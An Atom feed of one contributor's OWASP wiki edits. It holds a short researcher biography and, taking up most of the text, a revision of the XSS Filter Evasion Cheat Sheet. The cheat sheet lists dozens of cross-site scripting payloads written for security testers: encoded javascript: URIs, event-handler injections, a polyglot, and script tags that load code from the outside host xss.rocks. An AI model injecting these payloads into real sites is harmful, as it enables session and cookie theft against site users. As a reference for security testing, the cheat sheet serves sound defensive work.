<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=DhirajMishra</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=DhirajMishra"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/DhirajMishra"/>
		<updated>2026-05-07T08:40:00Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=256383</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=256383"/>
				<updated>2019-12-15T19:20:24Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: Dhiraj Mishra&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/RandomDhirah Dhiraj Mishra] is an active speaker and a bug hunter, discovered multiple zero days in modern web browsers, Metasploit Contributor. His work has been published on TheHackerNews, TheRegister &amp;amp; BleepingComputer. He works as a Security Consultant for Cognosec DMCC, former NotSoSecure and EY.&amp;lt;br&amp;gt;&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2017 Nominated for WASPY 2017]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for Bug Bounty as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference, his areas of expertise in Application Security have listed him in Hall of Fame for companies and organizations such like, Facebook, Oracle, Intel, Department Of Defense, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=247749</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=247749"/>
				<updated>2019-02-23T08:35:14Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet lists a series of XSS attacks that can be used to bypass certain XSS defensive filters. Please note that input filtering is an incomplete defense for XSS which these tests can be used to illustrate.&lt;br /&gt;
&lt;br /&gt;
== Basic XSS Test Without Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;xss.rocks&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS Locator (Polygot) ==&lt;br /&gt;
The following is a &amp;quot;polygot test XSS payload.&amp;quot; This test will execute in multiple contexts including html, script string, js and url. Thank you to [https://twitter.com/garethheyes Gareth Heyes] for this [https://twitter.com/garethheyes/status/997466212190781445 contribution].&lt;br /&gt;
&lt;br /&gt;
  javascript:/*--&amp;amp;gt;&amp;amp;lt;/title&amp;amp;gt;&amp;amp;lt;/style&amp;amp;gt;&amp;amp;lt;/textarea&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;/xmp&amp;amp;gt;&amp;amp;lt;svg/onload=&amp;amp;#39;+/&amp;amp;quot;/+/onmouseover=1/+/[*/[]/+alert(1)//&amp;amp;#39;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;amp;quot;XSS&amp;amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
This will bypass most SRC domain filters.  Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc.  It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.&lt;br /&gt;
Submitted by David Cross .&lt;br /&gt;
&lt;br /&gt;
Edited by Abdullah Hussam(@Abdulahhusam).&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=# onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it empty ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC= onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag by leaving it out entirely ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG onmouseover=&amp;quot;alert('xxs')&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== On error alert ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=/ onerror=&amp;quot;alert(String.fromCharCode(88,83,83))&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG  onerror and javascript alert encode==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=x onerror=&amp;quot;&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&lt;br /&gt;
 &amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Decimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hexadecimal HTML character references without trailing semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded tab == &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded Encoded tab ==&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded newline to break up XSS ==&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Embedded carriage return to break up XSS ==&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/XSS SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT/SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=http://xss.rocks/xss.js?&amp;lt; B &amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=//xss.rocks/.j&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;iframe src=http://xss.rocks/scriptlet.html &amp;lt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
&lt;br /&gt;
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==INPUT image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG Dynsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG lowsrc ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== List-style-image ==&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBscript in an image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Livescript (older versions of Netscape only) ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SVG object tag ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;svg/onload=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECMAScript 6 ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Set.constructor`alert\x28document.domain\x29```&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.&lt;br /&gt;
&lt;br /&gt;
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].&lt;br /&gt;
&lt;br /&gt;
# &amp;lt;code&amp;gt;FSCommand()&amp;lt;/code&amp;gt; (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAbort()&amp;lt;/code&amp;gt; (when user aborts the loading of an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onActivate()&amp;lt;/code&amp;gt; (when object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterPrint()&amp;lt;/code&amp;gt; (activates after user prints or previews print job)&lt;br /&gt;
# &amp;lt;code&amp;gt;onAfterUpdate()&amp;lt;/code&amp;gt; (activates on data object after updating data in the source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeActivate()&amp;lt;/code&amp;gt; (fires before the object is set as the active element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCopy()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeCut()&amp;lt;/code&amp;gt; (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeDeactivate()&amp;lt;/code&amp;gt; (fires right after the activeElement is changed from the current object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onBeforeEditFocus()&amp;lt;/code&amp;gt; (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
